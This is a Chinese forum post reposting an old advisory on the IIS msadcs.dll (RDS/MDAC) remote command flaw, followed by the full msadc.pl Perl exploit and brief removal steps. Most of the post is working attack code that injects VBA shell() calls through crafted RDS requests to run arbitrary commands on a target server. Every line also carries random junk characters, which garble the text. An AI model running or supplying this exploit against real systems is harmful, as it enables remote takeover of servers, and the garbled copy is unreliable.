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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) $j:$ `  
wEENN_w  
涉及程序: gO%#'Eb2  
Microsoft NT server ,ii*[{X?  
"Wr5:T-;  
描述: c4ptY5R),  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 $A"kHS7T  
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详细: duB{ 1  
如果你没有时间读详细内容的话,就删除: !/+ZKx("9  
c:\Program Files\Common Files\System\Msadc\msadcs.dll o9ZHa  
有关的安全问题就没有了。 q\ FF)H  
ES!$JWK|  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 Ov"]&e(I[  
PE3FuJGz  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 QU^*(HGip  
关于利用ODBC远程漏洞的描述,请参看: $Z6g/bD`E  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm %eWzr  
ia 1Sf3  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 lY/{X]T.(  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 0xrr9X<  
QQUeY2}  
这里不再论述。 tAFKq>\  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ,/AwR?m  
n4Nb,)M  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset SLp &_S@4  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 01N "  
w naP?|/  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" exw~SvT3  
,gGIkl&  
#!perl &C<K|F!j!  
# cHOtMPyQ  
# MSADC/RDS 'usage' (aka exploit) script MTo<COp($  
# +aaj3m  
# by rain.forest.puppy 73B,I 0U  
# "V-k_d "  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me vN:gu\^-   
# beta test and find errors! 8uq^Q4SU  
L;zwqdI  
use Socket; use Getopt::Std; k8H@0p  
getopts("e:vd:h:XR", \%args); {Vw+~8  
d4KT wn5g  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; IWcgh`8  
OV3l)73?t  
if (!defined $args{h} && !defined $args{R}) { ,T@+QXh  
print qq~ i^Vb42%y  
Usage: msadc.pl -h <host> { -d <delay> -X -v } IvGQ7 VLr  
-h <host> = host you want to scan (ip or domain) "s!!\/^9C  
-d <seconds> = delay between calls, default 1 second 0+MNu8t  
-X = dump Index Server path table, if available twElLOE  
-v = verbose 2g5i3C.q$  
-e = external dictionary file for step 5 HA&7 ybl  
$U%M]_  
Or a -R will resume a command session Z- |.j^n  
0JzH dz  
~; exit;} Oxs O  
3/c3e{,!  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 85CH% I#  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} li'h&!|]  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ~_opU(;f  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); aX`"V/  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} +v.uP [H  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } FsQeyh>  
{y)O ?9q  
if (!defined $args{R}){ $ret = &has_msadc; %@tKcQ  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} O ]o7  
MB.\G.bV  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" &_Kb;UVRj  
. "cmd /c "; j6v|D>I  
$in=<STDIN>; chomp $in; -!MrG68  
$command="cmd /c " . $in ;  [U9b_`  
xi['knUi2-  
if (defined $args{R}) {&load; exit;} m,}0p  
.nN=M>#/  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; vD<6BQR  
&try_btcustmr; iUSP+iC,  
},58B  
print "\nStep 2: Trying to make our own DSN..."; 0K/Pth"*  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; (:9yeP1  
k(LZ,WSR  
print "\nStep 3: Trying known DSNs..."; {!!df.h  
&known_dsn; E;!pK9wL|  
$A~UA  
print "\nStep 4: Trying known .mdbs..."; <xM$^r)  
&known_mdb; DfYOGs]@  
3ARvSz@5  
if (defined $args{e}){ BS3Aczwk  
print "\nStep 5: Trying dictionary of DSN names..."; ,=sbK?&  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } mGx!{v~i&  
\7b-w81M-  
print "Sorry Charley...maybe next time?\n"; DUH\/<^g  
exit; {UqSq  
wM.z/r\p  
############################################################################## (NfP2E|B  
tUX4#{)q(j  
sub sendraw { # ripped and modded from whisker y cYT1Sg 8  
sleep($delay); # it's a DoS on the server! At least on mine... :5)Dn87  
my ($pstr)=@_; vHR-mQUs  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || CTawXHM  
die("Socket problems\n"); Q{%2Npvq  
if(connect(S,pack "SnA4x8",2,80,$target)){ eu=G[>  
select(S); $|=1; :"m~tU3&  
print $pstr; my @in=<S>; |OW/-&)  
select(STDOUT); close(S); }/tT=G]91  
return @in; 337y,;  
} else { die("Can't connect...\n"); }} eC%uu  
C]S~DK1  
############################################################################## B ~u9"SR.  
$t*>A+J  
sub make_header { # make the HTTP request {g8uMt\4  
my $msadc=<<EOT kk|7{83O  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 G!]%xFwYa  
User-Agent: ACTIVEDATA ,RmXZnWY  
Host: $ip h>ZNPP8N  
Content-Length: $clen 9%fd\o@X  
Connection: Keep-Alive oCtg{*vp  
 )ph**g  
ADCClientVersion:01.06 L1J \ C  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 /V'^$enK!}  
6 3TeTGp$  
--!ADM!ROX!YOUR!WORLD! Xjb 4dip  
Content-Type: application/x-varg D5]AL5=Xt2  
Content-Length: $reqlen -64@}Ts*?  
/<[S> ;!kr  
EOT 0|6]ps4Z7  
; $msadc=~s/\n/\r\n/g; ~K'e}<-G  
return $msadc;} feJzX*u  
mjgwU8'![  
############################################################################## 7D'-^#S5  
k+-IuO  
sub make_req { # make the RDS request mCM7FFl I  
my ($switch, $p1, $p2)=@_; fZQL!j4  
my $req=""; my $t1, $t2, $query, $dsn; q/T(s  
EY~b,MIL4  
if ($switch==1){ # this is the btcustmr.mdb query (PVK|Q55y  
$query="Select * from Customers where City=" . make_shell(); _N`'R.va  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . WP(+jL^-  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} zk6al$3R  
RYhaQ &1i  
elsif ($switch==2){ # this is general make table query )"( ojh  
$query="create table AZZ (B int, C varchar(10))"; 8aDSRfv*  
$dsn="$p1";} hz:^3F`>/&  
JA]TO (x  
elsif ($switch==3){ # this is general exploit table query 0!4;."S  
$query="select * from AZZ where C=" . make_shell(); cnJL*{H<2  
$dsn="$p1";} '5^$v{  
g/*x;d=  
elsif ($switch==4){ # attempt to hork file info from index server -dRnozs6W  
$query="select path from scope()"; "n<rP 3y  
$dsn="Provider=MSIDXS;";} 7JC^+ rk  
l>(w]  
elsif ($switch==5){ # bad query )q.Z}_,)@  
$query="select"; cb36~{  
$dsn="$p1";} OGl>i  
M't~/&D#  
$t1= make_unicode($query); (tZ#E L0  
$t2= make_unicode($dsn); l'yX_`*Iq  
$req = "\x02\x00\x03\x00"; a#i85su  
$req.= "\x08\x00" . pack ("S1", length($t1)); p#14  
$req.= "\x00\x00" . $t1 ; ^oZz,q  
$req.= "\x08\x00" . pack ("S1", length($t2)); s,5SWdb\v  
$req.= "\x00\x00" . $t2 ; 3HtLD5%Q  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; :S['hBMN  
return $req;} ioIOyj  
eA4dDKX+  
############################################################################## V)pn)no'V  
#sHA!@ |  
sub make_shell { # this makes the shell() statement Sf_q;Ws  
return "'|shell(\"$command\")|'";} _'eG   
W|~Jl7hs8Q  
############################################################################## I JPpF`  
o0yyP,?yh  
sub make_unicode { # quick little function to convert to unicode v~l_6V}  
my ($in)=@_; my $out; 7z.(pg=  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } O~p@87aq  
return $out;} }"$2F0  
{c 82bFiv  
############################################################################## ,]:vk|a#;  
"7w~0?}  
sub rdo_success { # checks for RDO return success (this is kludge) .,-,@ZK  
my (@in) = @_; my $base=content_start(@in); .2K4<UOAbm  
if($in[$base]=~/multipart\/mixed/){ ^[UWG^d  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} $q"/q*ys  
return 0;} "ITC P<+  
AD$$S.zoD<  
############################################################################## |3Fo4K%+  
0n FEPMO  
sub make_dsn { # this makes a DSN for us V XE85  
my @drives=("c","d","e","f"); !b !C+ \v  
print "\nMaking DSN: "; qcNu9Ih  
foreach $drive (@drives) { Ou26QoT9XI  
print "$drive: "; i146@<\G{P  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . L9lNAiOH  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" |*G$ilu  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); )+Nm @+B  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ?MW *`U  
return 0 if $2 eq "404"; # not found/doesn't exist "7]YvZYu0  
if($2 eq "200") { >DFpL$oP  
foreach $line (@results) { n;Nr[hI  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 5} v(Ks>  
} return 0;} 'ycr/E&m{  
dkHye>  
############################################################################## ?&ow:OH+  
.J/x@  
sub verify_exists { kiah,7V/  
my ($page)=@_; :Dh\  
my @results=sendraw("GET $page HTTP/1.0\n\n"); j{U#g8  
return $results[0];} LnwI 7uvq  
:,<G6"i  
############################################################################## sI M^e  
S!LLC{  
sub try_btcustmr { |b BA0.yS  
my @drives=("c","d","e","f"); 4qd =]i  
my @dirs=("winnt","winnt35","winnt351","win","windows"); )td?t.4  
]+U:8*  
foreach $dir (@dirs) { AX`>y@I  
print "$dir -> "; # fun status so you can see progress 8+7n"6GY2/  
foreach $drive (@drives) { tQrF A2F  
print "$drive: "; # ditto Q3@MRR^tY  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; k$ ya.b<X/  
$reqlenlen=length( "$reqlen" ); }3b3^f  
$clen= 206 + $reqlenlen + $reqlen; b I%Sq+"}  
LTn@OhC  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); nV[0O8p2Md  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ^~p^N <  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} {6y@;Fd  
@;6I94Bp  
############################################################################## #5Q?Q~E@  
9_$i.@L 1  
sub odbc_error { T%[&[8{8  
my (@in)=@_; my $base; YK=o[nPmK  
my $base = content_start(@in); bOB<m4  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this C >@T+xOZ  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ak SUk)}e  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; sI/]pgt2  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; *mvDh9v  
return $in[$base+4].$in[$base+5].$in[$base+6];} ;0Vyim)S]  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; rXIFCt8J  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . /LH# 3  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} @Sik~Mm_h  
Gp l  
############################################################################## OI8Hf3d=  
=do*(  
sub verbose { HsF8$C$z  
my ($in)=@_; lc:dKGF6  
return if !$verbose; (plsL   
print STDOUT "\n$in\n";} ;Dw6pmZ  
\*wQ%_N5  
############################################################################## ms(Z1ix^  
6'F4p1VG*I  
sub save { $i|c6&  
my ($p1, $p2, $p3, $p4)=@_; :2 Fy`PPab  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; V(?PKb-w)  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ?Z1&ju,Hd-  
close OUT;} &8!~H<S  
&rc]3! B  
############################################################################## #NvL@bH  
Np.] W(  
sub load { @5[9iY  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; v^;p]_c~2  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); T?DX|?2X  
@p=<IN>; close(IN); }k{h^!fV  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 8E/wUN,Lxj  
$target= inet_aton($ip) || die("inet_aton problems"); Au=9<WB%H  
print "Resuming to $ip ..."; - &7\do<  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; \{GBaMwG~  
if($p[1]==1) { v M lT  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; g?9IS,Gp  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; . `ND  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ^xNs^wC.  
if (rdo_success(@results)){print "Success!\n";} ,A{'lu  
else { print "failed\n"; verbose(odbc_error(@results));}} *GGiSt  
elsif ($p[1]==3){ I,nW~;OV0  
if(run_query("$p[3]")){ ?*nFz0cs^  
print "Success!\n";} else { print "failed\n"; }} 2 1LJ3rW_  
elsif ($p[1]==4){ W1$<,4j@M  
if(run_query($drvst . "$p[3]")){ HCCEIgCT  
print "Success!\n"; } else { print "failed\n"; }} + Cf  
exit;} lMQ_S"  
[9lfR5=Xw[  
############################################################################## *l-f">?|  
ZaZm$.s n  
sub create_table { `Z' h[-2`  
my ($in)=@_; 46(=*iT&V  
$reqlen=length( make_req(2,$in,"") ) - 28; 4Y>J,c  
$reqlenlen=length( "$reqlen" ); p`PBPlUn  
$clen= 206 + $reqlenlen + $reqlen; 6Hh\ys  
my @results=sendraw(make_header() . make_req(2,$in,"")); )' hOW*v  
return 1 if rdo_success(@results); Q4[^JQsR2  
my $temp= odbc_error(@results); verbose($temp); Cj +{%^#  
return 1 if $temp=~/Table 'AZZ' already exists/; H}p5qW.tH:  
return 0;} T, z80m}  
5gg Yg $  
############################################################################## b@> MA  
2VZdtz  
sub known_dsn { Ofm?`SE*|  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go IQm[ ,Fh  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", >QcIrq%=  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Vzmw%f)_+  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 7<Yf  
=.Hq]l6+  
foreach $dSn (@dsns) { Ld9YbL:  
print "."; $*k9e^{S  
next if (!is_access("DSN=$dSn")); !Z}d^$  
if(create_table("DSN=$dSn")){ CI}zu;4|  
print "$dSn successful\n"; :g+5cs  
if(run_query("DSN=$dSn")){ sN_c4"\q  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { O'i!}$=g  
print "Something's borked. Use verbose next time\n";}}} print "\n";} -,Oq=w*EV  
U?[_ d  
############################################################################## J?1U'/Wx2  
"J_#6q*  
sub is_access { [#3*R_#8R  
my ($in)=@_; Rt6(y #dF  
$reqlen=length( make_req(5,$in,"") ) - 28; \I[f@D-J  
$reqlenlen=length( "$reqlen" ); 1[ 4)Sq?  
$clen= 206 + $reqlenlen + $reqlen; q; n  
my @results=sendraw(make_header() . make_req(5,$in,"")); `Vf k.OP  
my $temp= odbc_error(@results); gR]NH  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); nF#1B4b>  
return 0;} %Ums'<xJ  
e6(Pw20)s  
############################################################################## K!cLEG!G  
K8?]&.!  
sub run_query { vUNmN2pRJ  
my ($in)=@_; Nj^:8]D)0  
$reqlen=length( make_req(3,$in,"") ) - 28; ib,BYFKEW  
$reqlenlen=length( "$reqlen" ); fK?/o]vq  
$clen= 206 + $reqlenlen + $reqlen; ~ZuFMVR  
my @results=sendraw(make_header() . make_req(3,$in,"")); fp)%Cr  
return 1 if rdo_success(@results); Bokpvd-c7  
my $temp= odbc_error(@results); verbose($temp); +5k^-  
return 0;} |Q\O% cb  
gAPD y/wM  
############################################################################## H[M(t^GM  
#sRkKl|  
sub known_mdb { |ler\"Eu  
my @drives=("c","d","e","f","g"); ;iq58.  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 3&tJD  
my $dir, $drive, $mdb; CBrC   
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; A7c*qBt  
<5t2+D]]}  
# this is sparse, because I don't know of many kM;fxR:-  
my @sysmdbs=( "\\catroot\\icatalog.mdb", pOKs VS%fT  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", <,:5d2mM.  
"\\system32\\certmdb.mdb", NE1n9  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% %vZTD +i  
6oA2"!u^w  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", I%Yeq"5RB  
"\\cfusion\\cfapps\\forums\\forums_.mdb", <} BuU!  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", k7cM.<s!  
"\\cfusion\\cfapps\\security\\realm_.mdb", QO;OeMQv%  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", P =jRof$  
"\\cfusion\\database\\cfexamples.mdb", :5DL&,,Q3  
"\\cfusion\\database\\cfsnippets.mdb", |H%[tkW6c  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", \v]esIP5R'  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", }9FAM@x1K&  
"\\cfusion\\brighttiger\\database\\cleam.mdb", iS@+qWo1  
"\\cfusion\\database\\smpolicy.mdb", sPxDo?1x-  
"\\cfusion\\database\cypress.mdb", U{[ g"_+~  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ^OZ*Le  
"\\website\\cgi-win\\dbsample.mdb", E8LZ% N#  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 6dlV:f_\y  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" l =X6m(  
); #these are just z,+LPr  
foreach $drive (@drives) { 6VQe?oh  
foreach $dir (@dirs){  z:p;Wm  
foreach $mdb (@sysmdbs) { 'lIj89h<E  
print "."; )&F]j  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ HVLj(_ A  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 9V0@!M8S  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ H(rK39Q  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ENhKuX  
} else { print "Something's borked. Use verbose next time\n"; }}}}} z^z,_?q;  
0Uf.aP  
foreach $drive (@drives) { (/;<K$u*h  
foreach $mdb (@mdbs) { \ y}!yrQ  
print "."; _+*+,Vx  
if(create_table($drv . $drive . $dir . $mdb)){ vP. ^j7wB  
print "\n" . $drive . $dir . $mdb . " successful\n"; \&jmSa=]l  
if(run_query($drv . $drive . $dir . $mdb)){ pj9*$.{  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ] i:WP2  
} else { print "Something's borked. Use verbose next time\n"; }}}} (aUdPo8H^  
} d [f,Nu'  
aJ3.D  
############################################################################## }c?W|#y`.o  
_rakTo8BY  
sub hork_idx { C>=[fAr mO  
print "\nAttempting to dump Index Server tables...\n"; ;Im%L=q9GL  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; E},^,65  
$reqlen=length( make_req(4,"","") ) - 28; h( V:-D  
$reqlenlen=length( "$reqlen" ); 3I.0jA#T&/  
$clen= 206 + $reqlenlen + $reqlen; !V O^oD7  
my @results=sendraw2(make_header() . make_req(4,"","")); 'L5ih|$>  
if (rdo_success(@results)){ oQL$X3S  
my $max=@results; my $c; my %d; s.IYPH|pn  
for($c=19; $c<$max; $c++){ G4jyi&]  
$results[$c]=~s/\x00//g; ( C~ u.  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; =#so[Pd  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; SsBiCctn  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; G 5!J9@Yi  
$d{"$1$2"}="";} j#rj_uP  
foreach $c (keys %d){ print "$c\n"; } m3']/}xHO  
} else {print "Index server doesn't seem to be installed.\n"; }} EpUBO}q]  
!l|fzS8g  
############################################################################## *u ^mf~  
y3Qb2l  
sub dsn_dict { De^Uc  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); #O,;3S  
while(<IN>){ 4m"6$  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 'wT !X[jF  
next if (!is_access("DSN=$dSn")); EFdo-.Ax  
if(create_table("DSN=$dSn")){ CY</v,\:#  
print "$dSn successful\n"; ,~nrNkhp  
if(run_query("DSN=$dSn")){ Cw$7d:u  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { r- 8fvBZ5  
print "Something's borked. Use verbose next time\n";}}} )[np{eF.k  
print "\n"; close(IN);} {7Qj+e^  
yLgv<%8f  
############################################################################## oU)Hco"_k  
5i1E 5@~  
sub sendraw2 { # ripped and modded from whisker Hpj7EaMZ_  
sleep($delay); # it's a DoS on the server! At least on mine... A?+cdbxJw  
my ($pstr)=@_; w^Atd|~gi  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ={G0p=~+,p  
die("Socket problems\n"); e$l*s/"0t  
if(connect(S,pack "SnA4x8",2,80,$target)){ 8$~^-_>n/  
print "Connected. Getting data"; 1a]QNl_x  
open(OUT,">raw.out"); my @in; k}hTSL  
select(S); $|=1; print $pstr; G<W;HMj2  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} m'PU0x  
close(OUT); select(STDOUT); close(S); return @in; i1JVvNMQ,  
} else { die("Can't connect...\n"); }} 0?Bv zfb  
>)*0lfxTZ  
############################################################################## ]WvV*FL9D3  
M"s+k  
sub content_start { # this will take in the server headers >XJUj4B|X  
my (@in)=@_; my $c; BIY"{"hJ  
for ($c=1;$c<500;$c++) { `_+%  
if($in[$c] =~/^\x0d\x0a/){ Y ow  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } yB5JvD ?  
else { return $c+1; }}} 4'# ?"I  
return -1;} # it should never get here actually OVUJiBp  
vJ9IDc|[  
############################################################################## 4o3TW#  
=Y {<&:%(  
sub funky { _@@.VmZL  
my (@in)=@_; my $error=odbc_error(@in); sIzy/W0iV  
if($error=~/ADO could not find the specified provider/){ M{4U%lk  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; {v,NNKQ4x  
exit;} 3Q!)bMv \  
if($error=~/A Handler is required/){ 36MNaQt'e  
print "\nServer has custom handler filters (they most likely are patched)\n"; %?m_;iv  
exit;} 6m mc{kw'  
if($error=~/specified Handler has denied Access/){ {v}BtZ  
print "\nServer has custom handler filters (they most likely are patched)\n"; Px?zih!6  
exit;}} HB*H%>L{"B  
t_kRYdW9  
############################################################################## MG:eI?G/'  
sH51 .JG  
sub has_msadc { |crm{]7X  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); L/xTW  
my $base=content_start(@results); !6FO[^h||H  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); [79iC$8B|  
return 0;} ;iO5 8S3  
k*K.ZS688  
######################## uJSzz:\  
e]*@|e4b  
U(:Di]>{  
解决方案: 4`/Td?THx  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 9GtVcucN  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 O"~CZh,:r}  
V*gh"gZ<  
拿出来充数 哈哈
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